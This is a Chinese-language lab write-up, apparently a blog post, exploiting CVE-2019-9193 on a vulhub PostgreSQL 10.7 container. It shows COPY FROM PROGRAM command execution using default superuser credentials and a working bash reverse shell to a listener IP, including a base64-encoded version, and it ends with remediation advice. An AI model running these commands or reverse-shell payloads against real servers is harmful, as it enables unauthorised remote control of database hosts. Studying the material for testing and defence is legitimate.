【CVE】CVE-2019-9193:PostgreSQL 任意命令执行漏洞

  • 起序:客户内网测试的时候遇到的,搭建一个环境,写个笔记记录一下。

一、靶场环境

使用的是 github 上的 vulhub 环境。PostgreSQL 版本为 10.7


请添加图片描述

1、任意命令执行

具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。

  • 从 9.3 版本开始,Postgres 新增了一个 COPY TO/FROM PROGRAM 功能,允许数据库的超级用户以及 pg_read_server_files 组中的任何用户执行操作系统命令。

漏洞利用前提:

  1. 需要登陆;
  2. 需要高权限;

所以要先弱口令爆破之后,然后查看是否是高权限。(对于PostgreSQL 来说,只有安装数据库时默认创建的超级用户 postgres,类似于 Linux上的root用户,拥有高权限。)

新建数据库用户:CREATE USER
新建数据库:CREATE DATABASE
删除数据库:DROP DATABASE
删除用户:DROP USER
撤销权限:REVOKE
赋权:GRANT

2、影响版本

受影响的版本(貌似更新版本无解)

  • PostgreSQL >= 9.3

二、漏洞利用

1、启动靶机

docker-compose up -d

请添加图片描述

注:当测试完成之后会用到 关闭靶机 的命令。不是现在就要使用的命令。

docker-compose down -v

2、Navicat 连接 PostgreSQL

账号密码:postgres:postgres

请添加图片描述


3、执行命令

右键 public,点击 新建查询


请添加图片描述


然后就是执行下面的这些命令。

-- 先删除你想要使用但是已经存在的表
DROP TABLE IF EXISTS cmd_exec;

-- 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);

-- 执行系统命令利用特定函数
COPY cmd_exec FROM PROGRAM 'id'; 

-- 查看执行结果
SELECT * FROM cmd_exec;

请添加图片描述


4、实战拓展:反弹 shell

1、nc 监听

在 kali 中使用 nc 进行监听。

nc -lvvp 1314

请添加图片描述


2、执行反弹 shell 的命令
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1'; 
SELECT * FROM cmd_exec;

但是可以看出执行失败了,这种方法不行。


请添加图片描述


3、反弹失败

kali 也没有得到 shell。


请添加图片描述


4、编码解决

将反弹 shell 的命令 base64 编码一下。(下面的解码不用管)

# base64 编码前
/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1

# base64 编码后
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==

请添加图片描述


5、再次执行反弹 shell 的命令

这里的编码不仅仅限于 base64,其他编码形式也可以,主要是为了解决数据传输过程中的特殊字符被异常解析的问题。

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==" | base64 -d | bash'; 
SELECT * FROM cmd_exec;

请添加图片描述


6、反弹成功

请添加图片描述


三、漏洞修复

  1. pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;
  2. 增强密码的复杂度;
  3. 进行网络隔离,限制 IP 访问,只允许需要的 IP 连接;

如果对您有帮助,点个赞再走呗。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

边扯边淡

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值